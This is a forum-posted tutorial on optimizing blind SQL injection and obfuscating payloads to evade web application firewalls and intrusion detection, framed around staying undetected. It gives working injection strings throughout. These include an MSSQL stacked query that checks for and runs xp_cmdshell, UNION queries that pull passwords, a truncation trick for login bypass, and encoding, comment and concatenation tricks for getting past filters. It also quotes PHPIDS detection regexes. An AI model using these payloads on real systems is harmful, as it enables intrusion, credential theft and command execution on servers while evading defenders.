GreySec Forums

Full Version: [Dedicated] Obfuscated SQL Injection
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Credits: Nail Sidorov @

" Katana can slay any security " - #SamuraiZ

Yasker Wrote:This is an insane tutorial. Thank you for putting your time and effort into making this.

Most of the common techniques were already residing in my brain, but you've certainly increased the number of useful information there!

How about some encrypted SQL-queries for a next tutorial?
Thank you, Yasker! Read the next brotha, only for you (and may be too)

SQL Injection Optimization and Obfuscation Techniques :
  • Introduction
  • Optimization
    • Analysis of Methods
    • Bisection Method
    • Regex Method
    • Bitwise Methods
    • Bin2Pos Method
    • Optimizing Queries
  • Obfuscation
    • Fuzzers
    • Encodings
    • URL encode
    • Double URL encode
    • Unicode encode
    • UTF-8 encode
    • Nibble encode
    • Invalid Percent encode
    • Invalid Hex encode
  • Advanced Obfuscation
    • Common types of SQL filters
    • Bypassing SQL Injection filters
    • Case Variation
    • SQL Comments
    • URL Encoding
    • CAST and CONVERT keywords
    • Dynamic Query Execution
    • Null Bytes
    • Nesting Stripped Expressions
    • Truncation
  • More Advanced
    • Regexp Based WAF
    • NULL Alias
    • Floating Point
    • Hexadecimal Literals
    • Binary Literals
    • C-Style String Merging
    • Ad-Hoc Charset
    • Operators
    • Expression
    • "IN" lists
    • Esp:

# 0x00 ~ Introduction

SQL Injections are without question one of the most dangerous web vulnerabilities around. With all of our information stored in databases, almost every detail about our lives is at the mercy of a simple HTTP request. As a
solution, many companies implement Web Application Firewalls and Intrusion Detection/Prevention Systems to try to protect themselves. Unfortunately, these countermeasures are not sufficient and can easily be circumvented.

Even though firewalls cannot not be relied on to prevent all attacks, some firewalls can be effective when used as a monitoring tool. It is not unheard of for an attacker to be detected and blocked during mid-attack, due to firewall
triggers and an alert security team. Because of this, a SQL Injection that has been optimized and obfuscated has a much higher probability of being successful; it will extract the data faster and remain undetected for longer.

In this paper we will discuss and compare a variety of optimization methods which can be highly effective when exploiting Blind SQL Injections. We will also introduce SQL queries which can be used to dump the whole database with just one request, making it an extremely easy to quickly retrieve data while going unnoticed. Furthermore, we will be reviewing several obfuscation techniques which can make a SQL Injection unrecognizable to firewalls. When
combined, these techniques create a deadly attack which can be devastating.

# 0x01 ~ Optimization

Optimization is often one of the most overlooked, yet important aspects when exploiting Blind SQL Injections. Not only will an optimized SQL Injection produce faster results, it also reduces the network congestion and is a lower
burden on the server which in turn provides a lower risk of being detected. The difference in speed some methods offer is astonishing and can cut the amount of requests and time it takes to successfully extract data from a database by over a third when compared to traditional methods. In order to use these methods, we must understand how they work and how effective each one is, but before we begin to analyze and compare them, it is important to review some preliminary concepts beforehand.

Computers can only understand numbers, for this reason ASCII (American Standard Code for Information Interchange) was created. An ASCII Code is a numerical representation of a letter or character. Any ASCII character can be represented in 1 byte or 8 bits, also known as an octet. When dealing with SQL Injections, we are usually not interested in the full ASCII range, as not all characters are valid or permitted in a database. It is for this reason that we will only focus on the ASCII range 32 – 126 which leaves us with a set of 94 characters. This range can be represented with only 7 bits which leaves the most significant bit as 0. This will come in handy when further optimizing the techniques since it allows us to shave off a request. The following table shows the ASCII range in its different forms:

[Image: 0dKconI.png]

Note Table 1: The MSB (most significant bit) is always off, allowing us to save an additional request.

Analysis of Methods

These methods are intended to be used with Blind SQL Injections when error showing is disabled, in which we generally have to retrieve 1 character at a time.

Bisection Method

The bisection method, also commonly known as the binary search algorithm in Computer Science, is a logarithmic algorithm and the most widely used method for extracting data through a SQL Injection; it is versatile, effective
and straight forward to implement which makes it a popular choice among hackers and programmers. Using a finite list, the bisection method works by splitting the list in half and searching each half of the branch. It continues the process by splitting the half branch were the item was found and repeats until finished, this is why it is a dichotomic divide-and-conquer algorithm. When described in terms performance, it has the same worst case and average case scenario of log2(N), which leaves this method usually on the high end of its requests. When applied to SQL Injections additional requests are required to make this method work.

Regex Method

First introduced in a paper called “Blind Sql Injection with Regular Expressions Attack” by Simone Quatrini and Marco Rondini, this method is simply a variation of the bisection method which instead uses regular expressions. For MySQL, the technique makes use of the REGEXP function and for MSSQL, the LIKE statement which has similar functionality, but works slightly different. A small disadvantage to this method is the use of two different functions for each type of database. A suggested alternative is to use the BETWEEN function which exists in both MySQL and MSSQL; this would simplify the implementation by being able to use a single function for multiple databases.

REGEXP '^[a-z]' True
REGEXP '^[a-n]' True
REGEXP '^[a-g]' False
REGEXP '^[h-n]' True
REGEXP '^[h-l]' False

Note Table 2: An example of the REGEX method in use.

Bitwise Methods

There are several bitwise methods which are all slight variations from each other. When analyzing these methods, in most cases they all perform worse than the bisection method, for that reason this paper will not go into great length describing them. These methods use bitwise operations such as shifting or ANDing for example, but these tend to be redundant since a binary is treated as a string in both MySQL and MSSQL, so it is possible to use the SUBSTRING function or similar to compare each individual bit to 1 or 0. The amount of requests is consistent

| Binary of “a” | Bit to be shifted | Binary result | Decimal result |
| 01100001 | >> 7 | 00000000 | 0 |
| 01100001 | >> 6 | 00000001 | 1 |
| 01100001 | >> 4 | 00000110 | 6 |
| 01100001 | >> 3 | 00001100 | 12 |
| 01100001 | >> 2 | 00011000 | 24 |
| 01100001 | >> 1 | 00110000 | 48 |
| 01100001 | >> 0 | 01100001 | 97 |

Note Table 3: Bitwise shifting method shown retrieving the character “a”.

Bin2Pos Method

This method is my own invention and it is essentially an optimized searching technique which can retrieve a character with a minimum of only 1 request and a maximum of 6 requests. This method depends on a finite list of characters where each character gets mapped to its position on the list; mapping the characters to their position is important because it provides a smaller number to be retrieved when compared to the decimal value of the character. The position is then converted to binary and retrieved starting with the first occurrence of an on bit in the binary sequence. By converting the position to binary, we are effectively reducing the set of characters to look for to two(1 or 0). Additionally since we start with the first occurrence of an on bit, we can save one request since
we know it will be a “1”.

Since the size of the binary will depend on the position of the character in the list, the closer the character is to the beginning of the list, the less amount of requests are needed to retrieve it. For this reason, we can order the list by the most frequent letters in the alphabet to optimize it even further. An example of the implementation in MySQL which uses a parameter with two different values (e.g. id=1,id=2) can be seen in the figure below using a hexadecimal set :

Because the standard set size of 94 (32 126) uses up to 7 bits, this means the maximum size possible of the character to retrieve will be 7. It takes an additional request to determine that we have reached the end of the binary sequence. So by avoiding the first request and having to do an additional request at the end, this leaves us with a total of 7 requests. However, since we know 7 bits is the maximum length possible to be retrieved, if we already made 6 requests, we don’t have to send an additional request to know when we have reached the end since we will have already reached the maximum length possible. This gives a worst case scenario of just 6 requests. The best case scenario is when the character is found in the first position of the list which would only require 1 request. The following illustration demonstrates this method using a set ordered alphabetically.

[Image: 7y6vYOL.png]

Optimizing Queries

Now that we have overviewed some of the known methods for extracting data through a Blind SQL Injection, we will look at some optimized queries which can greatly expedite data extraction from the database. Ionut Maroiu demonstrated a technique for MySQL which allows the retrieval of all databases, tables and columns with a single request. A similar technique exist for PostgreSQL and Oracle which were demonstrated by Dmitriy Serebryannikov and another one for MSSQL discovered by Daniel Kachakil. The following table shows an example of each of the described queries:

[Image: eZbJbAm.png]

Note Table 5: Different queries which retrieve multiple table & column entries with a single request.

There are also more devastating single request attacks which are possible because of stacked queries in MSSQL or even MySQL when using PDO or the new and “improved” extension mysqli for PHP. For example, the following query for MSSQL will check to see if xp_cmdshell is loaded, if it is enabled, it checks to see if it is active and if it is active it proceeds to run a command of your choice.
PHP Code:
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font 
color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB-- 
For both a penetration tester and an attacker, testing for SQL Injections can become tedious. Some web applications can have endless amount of modules with infinite number of parameters. Furthermore, at least three separate tests are required for each possible type of SQL Injection: single, double and no quotations. With optimized queries, it is possible to reduce it all to one request.

[Image: t0umuZx.png]

Note Table 6: The optimized injection allows us to test all three variations with a single request.

Another example using AND:

[Image: BU4cvvv.png]

Note Table 7: A variation of the optimized injection using AND logic.

To further illustrate this optimized query in action consider the following injection:
Quote:SELECT * FROM Users WHERE username=”Admin” and password = 1 OR
Quote:SELECT * FROM Articles WHERE id = 1!=0--+"!="'!='

# 0x03 ~ Obfuscation

Obfuscation is one of the main tools for bypassing firewalls. By tricking the firewall into thinking our attacks are legitimate traffic, we can successfully deliver our payload without being detected. There are several methods that
can be used to obfuscate our injections. Through the use of fuzzers, we can discover different possibilities that can be used for obfuscation. Although sometimes simplicity can be a better option and if all else fails, we can always resort to a variety of encodings.

It is important for firewall developers to be fully aware of all the databases specifications and oddities. Some of these oddities are documented, others can only be found through fuzzing. One example of peculiarities discovered
through the use of fuzzers are the permitted whitespace characters for eachtype of database. Each different RDBMS allows a variety of different whitespace characters instead of the usual 0x20. By switching the standard whitespace with other allowed whitespace characters, we can make our injection unrecognizable to certain firewalls allowing us to effectively bypass them.

[Image: k015GVn.png]

Note Table 8: Valid whitespaces allowed in different RDBMS.

While replacing whitespaces can be a useful trick, any sophisticated firewall will be capable of detecting most allowed whitespaces and subsequently will handle them appropriately. When firewalls become really good at deobfuscating injections, sometimes it can be best to take the opposite route and simplify the injection as much as possible.

Just like many programming languages give us several different ways of achieving the same result, so does SQL. In some cases using the simplest approach can be the most effective; if our SQL Injection looks like plain English, it can be very difficult for the firewall to differentiate between normal text and SQL syntax. A good example is the following use of the CASE statement which can be appended after a WHERE statement:

Special encodings are another tool in the box to use when bypassing firewalls. Most of these encodings will depend on how the application processes the data. The web application may see the data in one way, while the proxy, firewall or database might interpret the data differently. It is because of these discrepancies between layers that encodings may work to bypass the firewall.

URL encode

Anyone who has browsed the web has seen this encoding before. URL Encoding is used to transform “special” characters, so they can be sent over HTTP. Characters get transformed to their hexadecimal equivalent, prefixed by a percent sign.

Double URL encode

This is simply the process of applying URL encode two times on the characters. All that is required is re-encoding of the percent sign. This encoding is successful if the data is decoded twice after having passed through the firewall and before reaching the database.

Unicode encode

Unicode is an industry standard for representing over 110,000 symbols and characters for a wide range of languages. It can be represented by different character encodings such as UTF-8, UTF-16, UTF-32 and others. This encoding generally works against IIS servers or applications built in ASP or .NET

[Image: 6PJcw7n.png]

Note Table 9: The following table shows each encoding for the character “a”.

UTF-8 encode

UTF-8 is a form of encoding each one of the 1,114,112 code points (0 through 10FFFF) in the Unicode character set. The “UTF” stands for Unicode Transformation Format while the “8” means it uses 8-bit blocks to represent a character. The number of blocks required to represent a character vary from 1 to 4. Only 1 byte or block is required to represent characters from ASCII range 0-127, having the leading bit as 0. However, any code point higher than 127 needs to be represented with multi-byte sequences where the leading bits of the first byte, up to the first 0, represent the total number of following bytes to complete the sequence. The following bits after the first 0 in the first byte form part of character. Each consecutive byte has ‘10’ in the high-order position, however these two bits are redundant. The xx’s in the chart below represent the actual bits of data.

[Image: RmqMvTV.png]

Note Table 10: Here are the representations of different UTF-8 multi-byte encodings.

Because the first two high order bits after the first byte are not needed, applications may just read the six last bits allowing us to replace the first two most significant bits with 00, 01 or 11.

[Image: OfDyFuW.png]

Note Table 11: Several different UTF-8 representations of the character “a”.

Nibble encode

A nibble is 4 bits, therefor there are sixteen (2**4) possible values, so a nibble corresponds to a single hexadecimal digit. Since every character from ASCII range 0-255 can be represented in 1 byte, we can URL encode the 4 most
significant bits, the 4 least significant bits or both of them. This iscommonly known as First Nibble, Second Nibble and Double Nibble encode.

[Image: u3WaQ0R.png]

Note Table 12: Examples of first, second and double nibble encodings.

Invalid Percent encode

Invalid percent encoding is specific to .NET/IIS applications. By adding the percent sign in between characters which are not valid hex, IIS will strip the character making the data valid. However any firewall that is unaware of this behavior will leave the percent sign which in turn mangles the SQL syntax making it undetectable to the firewall.

What the data looks like to the firewall:

What the data looks like to IIS:

Invalid Hex encode

Invalid Hex isn’t exactly an encoding, instead it is a way of abusing how some applications may handle the conversion of hexadecimal to decimal. The idea is to create invalid hex that results in the same decimal value as valid hex.
Depending on how the application handles and transforms the data, it may see %2Ú as the same as %61.

[Image: FKovx9W.png]

Table 13: Converting the invalid hex results in the same decimal value as valid hex when converted.

[Image: ZSAvDeK.png]

Note Table 14: Invalid hex uses a full alphabet where valid hex only uses A-F.

# 0x04 ~ Advanced Obfuscation

Common types of SQL filters

In the context of SQL injection attacks, the most interesting filters you are likely to encounter are those which attempt to block any input containing one or more of the following:
  • SQL keywords, such as SELECT, AND, INSERT
  • Specific individual characters, such as quotation marks or hyphens
  • White-spaces
You may also encounter filters which, rather than blocking input containing the items in the preceding list, attempt to modify the input to make it safe, either by encoding or escaping problematic characters or by stripping the offending items from the input and processing what is left in a normal way, which by the way is not logical because if someone would want to harm your Web Application what for you would want to process his malicious input.

Often, the application code that these filters protect is vulnerable to SQL injection (because incompetent, ignorant or badly payed developers exist all over the world), and to exploit the vulnerability you need to find a means of evading the filter to pass your malicious input to the vulnerable code. In the next few sections, we will examine some techniques that you can use to do just that.

Bypassing SQL Injection filters

Take notice that all the above SQL injection filter bypassing techniques are based on the black list filtering mentality, and not the white list filtering logic. This means that bad software development is based in black list filters concept.

The are numerous ways to by pass SQL injection filters, there even more ways to exploit them too. The most common way of evading SQL injection filters are:
  • Using Case Variation.
  • Using SQL Comments.
  • Using URL Encoding.
  • Using Dynamic Query Execution.
  • Using Null Bytes.
  • Nesting Stripped Expressions.
  • Exploiting Truncation.
  • Using Non-Standard Entry Points.
  • Combine all techniques above.

Case Variation

If a keyword-blocking filter is particularly naive, you may be able to circumvent it by varying the case of the characters in your attack string, because the database handles SQL keywords in a case-insensitive manner. For example, if the following input is being blocked:

' UNION SELECT @@version --

You may be able to bypass the filter using the following alternative:

' UnIoN sElEcT @@version --

Note: Using only uppercase or only lower case might also work, but I would not suggest spending a lot of time in that type of fuzzing.

SQL Comments

You can use in-line comment sequences to create snippets of SQL which are syntactically unusual but perfectly valid, and which bypass various kinds of input filters. You can circumvent various simple pattern-matching filters in this way.

Of course, you can use this same technique to bypass filters which simply block any white-space whatsoever. Many developers wrongly believe that by restricting input to a single token they are preventing SQL injection attacks, forgetting that in-line comments enable an attacker to construct arbitrarily complex SQL without using any spaces.

In the case of MySQL, you can even use in-line comments within SQL keywords, enabling many common keyword-blocking filters to be circumvented. For example, the following attack will still work if the back-end database is MySQL if you only check for spaces to SQL injection strings:
UNION/**/SELECT/**/@@version/**/-- Or ' U/**/NI/**/ON/**/SELECT/**/@@version/**/--

Note: This type of filter bypassing methodology covers gap filling and black list bad character sequence filtering.

URL Encoding

URL encoding is a versatile technique that you can use to defeat many kinds of input filters. In its most basic form, this involves replacing problematic characters with their ASCII code in hexadecimal form, preceded by the % character. For example, the ASCII code for a single quotation mark is 0x27, so its URL-encoded representation is %27.In this situation, you can use an attack such as the following to bypass a filter.

Original query:
UNION SELECT @@version --

URL-encoded query:

In other cases, this basic URL-encoding attack does not work, but you can nevertheless circumvent the filter by double-URL-encoding the blocked characters. In the double encoded attack, the % character in the original attack is itself URL-encoded in the normal way (as %25) so that the double-URL-encoded form of a single quotation mark is %2527. If you modify the preceding attack to use double-URL encoding, it looks like this:

Note: You should also take into consideration that selective URL-encoding is also a valid way to by pass SQL injection filtering.

Double-URL encoding sometimes works because Web applications sometimes decode user input more than once, and apply their input filters before the final decoding step. In the preceding example, the steps involved are as follows:
  • The attacker supplies the input ‘%252f%252a∗/UNION …
  • The application URL decodes the input as ‘%2f%2a∗/ UNION…
  • The application validates that the input does not contain /∗ (which it doesn't).
  • The application URL decodes the input as ‘/∗∗/ UNION…
  • The application processes the input within an SQL query, and the attack is successful.
A further variation on the URL-encoding technique is to use Unicode encodes of blocked characters. As well as using the % character with a two-digit hexadecimal ASCII code, URL encoding can employ various Unicode representations of characters. The SQL Injection query when unicode encoded looks like this:

27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D

Note: I have not been experimenting a lot with unicode encoding and frankly I do not think it is going to be very useful fuzzing SQL with Unicode encoding.

CAST and CONVERT keywords

Another subcategory of encoding attacks is the CAST and CONVERT attack. The CAST and CONVERT keyword explicitly converts an expression of one data type to another more over the CAST keyword is embedded to MySQL, MSSQL and Postgre databases. It has been used by various types of malware attacks in numerous web sites and is a very interesting SQL injection filter bypass. The most infamous botnet that used this type of attack was ASPRox botnet virus. Have a look at the syntax:
  • Using CAST
    • CAST ( expression AS data_type )
  • Using CONVERT
    • CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
With CAST and CONVERT you have similar filtering by passing results with with the function SUBSTRING, an example can show you what I mean. The following SQL queries will return the same result back:

Returned result: CAST


Returned result: CAST

Returned result: CAST

Note: See that both SUBSTRING and CAST keywords behave the same and can also be used for blind SQL injection attacks. You can try to test this queries with This link is hidden from you. If you want to see it you have to register on this board. ).

Further expanding on CONVERT and CAST we can identify that also the following SQL queries are valid and also very interesting, see how we can extract the MSSQL database version with CAST and CONVERT.

0x1 - Identify the query to execute:

x2 Construct the query based on keywords CAST and CONVERT:



0x3 - Execute the query using the keyword EXEC:



OR convert first the SELECT @@VERSION to Hex

SET @sqlcommand =  (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34))


Note: See how creative you can become with CAST and CONVERT. Now since the type of data that is contained in the sentence CAST is hexadecimal a varchar conversion is performed.

You can also use nested CAST and CONVERT queries to inject your malicious input. That way you can start interchanging between different encoding types and create more complicated queries. This should be a good example:


Dynamic Query Execution

Many databases allow SQL queries to be executed dynamically, by passing a string containing an SQL query into a database function which executes the query. If you have discovered a valid SQL injection point, but find that the application’s input filters are blocking queries you want to inject, you may be able to use dynamic execution to circumvent the filters. Dynamic query execution works differently on different databases.

On Microsoft SQL Server, you can use the EXEC function to execute a query in string form. For example:
'EXEC xp_cmdshell ‘dir’; — Or 'UNION EXEC xp_cmdshell ‘dir’; —

Note: Using the EXEC function you can enumerate all enabled stored procedures in the back end database and also map assigned privileges to stored procedures.

In Oracle, you can use the EXECUTE IMMEDIATE command to execute a query in string form. For example:
       EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;

Note: You can do that line by line or all together, of course other filter by passing methodologies can be combined with this one.

The above SQL injection attack type can be submitted to the web application attack entry point, either the way it is presented above or as a batch of commands separated by semicolons when the back end database accepts batch queries (e.g. MSSQL).

For example in MSSQL you could do something like this:

Note: The same query can be submitted from different web application entry points or the same.

Databases provide various means of manipulating strings, and the key to using dynamic execution to defeat input filters is to use the string manipulation functions to convert input that is allowed by the filters into a string which contains your desired query. In the simplest case, you can use string concatenation to construct a string from smaller parts. Different databases use different syntax for string concatenation.

For example, if the SQL keyword SELECT is blocked, you can construct it as follows.




Further examples of this SQL obfuscation method would be:

UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL--

' un’+’ion (se’+’lect @@version) --

' SE’’LECT user(); #

Note that SQL Server uses a + character for concatenation, whereas MySQL uses a space. If you are submitting these characters in an HTTP request, you will need to URLencode them as %2b and %20, respectively. Going further, you can construct individual characters using the CHAR function (CHR in Oracle) using their ASCII character code. For example, to construct the SELECT keyword on SQL Server, you can use:


Note: The Firefox plug-in tool called Hackbar is also doing that automatically (for a long time now).

You can construct strings in this way without using any quotation mark characters. If you have an SQL injection entry point where quotation marks are blocked, you can use the CHAR function to place strings (such as ‘admin’) into your exploits. Other string manipulation functions may be useful as well. For example, Oracle includes the functions REVERSE, TRANSLATE, REPLACE, and SUBSTR. Another way to construct strings for dynamic execution on the SQL Server platform is to instantiate a string from a single hexadecimal number which represents the string’s ASCII character codes. For example, the string:
SELECT password FROM tblUsers

Can be constructed and dynamically executed as follows:
      SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273

Note: The mass SQL injection attacks against Web applications that started in early 2008 employed this technique to reduce the chance of their exploit code being blocked by input filters in the applications being attacked.

Null Bytes

Often, the input filters which you need to bypass in order to exploit an SQL injection vulnerability are implemented outside the application's own code, in intrusion detection systems (IDSs) or WAFs. For performance reasons, these components are typically written in native code languages, such as C++. In this situation, you can often use null byte attacks to circumvent input filters and smuggle your exploits into the back-end application.

Null byte attacks work due to the different ways that null bytes are handled in native and managed code. In native code, the length of a string is determined by the position of the first null byte from the start of the string—the null byte effectively terminates the string. In managed code, on the other hand, string objects comprise a character array (which may contain null bytes) and a separate record of the string's length. This difference means that when the native filter processes your input, it may stop processing the input when it encounters a null byte, because this denotes the end of the string as far as the filter is concerned. If the input prior to the null byte is benign, the filter will not block the input.

However, when the same input is processed by the application, in a managed code context, the full input following the null byte will be processed, allowing your exploit to be executed. To perform a null byte attack, you simply need to supply a URL-encoded null byte (that looks like this ) prior to any characters that the filter is blocking. In the original example, you may be able to circumvent native input filters using an attack string such as the following:

' UNION SELECT password FROM tblUsers WHERE username='admin'--

Note: When access is used as a bank end database NULL bytes can be used as SQL query delimiter.

Nesting Stripped Expressions

Some sanitizing filters strip certain characters or expressions from user input, and then process the remaining data in the usual way. If an expression that is being stripped contains two or more characters, and the filter is not applied recursively, you can normally defeat the filter by nesting the banned expression inside itself.

For example, if the SQL keyword SELECT is being stripped from your input, you can use the following input to defeat the filter:

Note: See the simplicity of bypassing the stupid filter.


Sanitizing filters often perform several operations on user-supplied data, and occasionally one of the steps is to truncate the input to a maximum length, perhaps in an effort to prevent buffer overflow attacks, or accommodate data within database fields that have a predefined maximum length.Consider a login function which performs the following SQL query, incorporating two items of user-supplied input:
SELECT uid FROM tblUsers WHERE username = 'jlo' AND password = 'r1Mj06'

Suppose the application employs a sanitizing filter, which performs the following steps:

Doubles up quotation marks, replacing each instance of a single quote () with two single quotes ()
Truncates each item to 16 characters. If you supply a typical SQL injection attack vector such as:

The following query will be executed, and your attack will fail:
SELECT uid FROM tblUsers WHERE username = 'admin''--' AND password = ''

The doubled-up quotes mean that your input fails to terminate the username string, and so the query actually checks for a user with the literal username you supplied. However, if you instead supply the username aaaaaaaaaaaaaaa' which contains 15 a’s and one quotation mark, the application first doubles up the quote, resulting in a 17-character string, and then removes the additional quote by truncating to 16 characters. This enables you to smuggle an unescaped quotation mark into the query, thus interfering with its syntax:
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = ''

Note: This initial attack results in an error, because you effectively have an unterminated string.

Each pair of quotes following the a’s represents an escaped quote, and there is no final quote to delimit the user-name string. However, because you have a second insertion point, in the password field, you can restore the syntactic validity of the query, and bypass the login, by also supplying the following password:
or 1=1--

This causes the application to perform the following query:

SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1--'

When the database executes this query, it checks for table entries where the literal username is:
aaaaaaaaaaaaaaa' AND password =

which is presumably always false, or where 1 = 1, which is always true. Hence, the query will return the UID of every user in the table, typically causing the application to log you in as the first user in the table. To log in as a specific user (e.g., with UID 0), you would supply a password such as the following:
or uid=0--

Note: This query is considered to be a very old technique used for authentication bypass or privilege escalation.

#0x05 ~ More Advanced

Regexp Based WAF
(?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s
(?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--|#))|(?:"[%&<>^=]+\d\s*(=|
(?:[\d\W]\s+as\s*["\w]+\s*from)|(?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc) )|(?:(?:select|create|rename|
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_f ile)\s?\(?)|(?:end\s*\);)|("\s+regexp\W)|(?:[\s(]load_file\s*\()
(?:;|#|--)\s*(?:update|insert)\s*\w{2,})|(?:[^\w]SET\s*@\w+)|(?:(?:n?and|x?or|not |\|\||\&\&)[\s(]+\w+[\s)]*[!=+]+[\s\d]*["=()])
(?:create\s+function\s+\w+\s+returns)|(?:;\s*(?:select|create|rename|truncate|lo ad|alter|delete|update|insert|desc)\s*[\[(]?\w{2,})
(?:\sexec\s+xp_cmdshell)|(?:"\s*!\s*["\w])|(?:from\W+information_schema\W)|(?:(?:(?:current_)?user|database|schema|connec tion_id)\s*\([^\)]*)|(?:";?
\s*(?:select|union|having)\s*[^\s])|(?:\wiif\s*\()|(?:exec\s+master\.)|(?:union select @)|(?:union[\w(\s]*select)|(?:select.*\w?user\()|(?:into[\s+]+
(?:,.*[)\da-f"]"(?:".*"|\Z|[^"]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|up date|insert|desc)\s*\(\s*space\s*\()

Some of the regular expressions used by PHPIDS 0.7.

NULL Alias

In MySQL, NULL can written as \N case sensitive. \n is not a null.
This means any WAF that does a "to_lower" on the user input and looks for "null" will miss this case.

Floating Point


Optional starts with [+-]

Exception : 1.AND 2 (no space between "1." "AND") some parsers accept, some don't. 1e1 vs. 1e1.0 ? undefined

Hexadecimal Literals


0x is case sensitive.

Binary Literals


C-Style String Merging

C-Style consecutive strings are merged into one.
SELECT 'foo' "bar";

Ad-Hoc Charset



!=, <=>


Using the common query extension of "OR 1=1". Besides using literals, one can use functions:
  • COS(0) = SIN(PI()/2)
"IN" lists

Quote:WHERE id IN (1,2,3,4)

These have to be manually created, no API or parameter binding for this construct in any platform, framework or language. There is no consistent, safe way to make this (other than convention, validation) undefined


Normal SQL Injection:
1 OR 1=1

Normal SQL Injection using encapsulated data:
1' OR '1'='1

Blind SQL Injection to throw an error to validate that encapsulation isn't working. The goal here is to throw an error to cause the application to show us that it is not encapsulating quotes correctly:

Blind SQL Injection creating an error using EXEC:
1 EXEC SP_ (or EXEC XP_)

Blind SQL Injection detection (this shouldn't give us the same result if filtering is in place as we would get if we excluded the AND 1 = 1 part. If it does give us the same result it shows that the application is vulnerable):
1 AND 1=1

Blind SQL Injection to attempt to locate tablenames by brute force iteration through potential names (you'll have to rename tablenames until you find a match):
1' AND 1=(SELECT COUNT(*) FROM tablenames); --

Evading escapes with backslashes (this assumes the application comments out a single quote with another single quote and by introducing a backslash before it, it comments out the singlequote that is added by the filter). This type of filter is applied by mySQL's mysql_real_escape_string() and PERL's DBD method $dbh->quote():
\'; DESC users; --

More blind SQL Injection by attempting to create an error using the backslash method seen above:

Creating errors by calling fake tables. This can help expose vulnerable applications by attempting to create an error by calling tables that are nonexistant (try this with and without the quotes):
1' AND non_existant_table = '1

Enumerating through database table names. By changing the 116 to different numbers you can use logrithmic reduction to find the first char of the database table name. Then iterating through the first 1 in 1, 1 you can eventually get the whole table name.
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

Finding user supplied tables using the sysObjects table in SQL Server:
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --

#HTP - #E0F - #SamuraiZ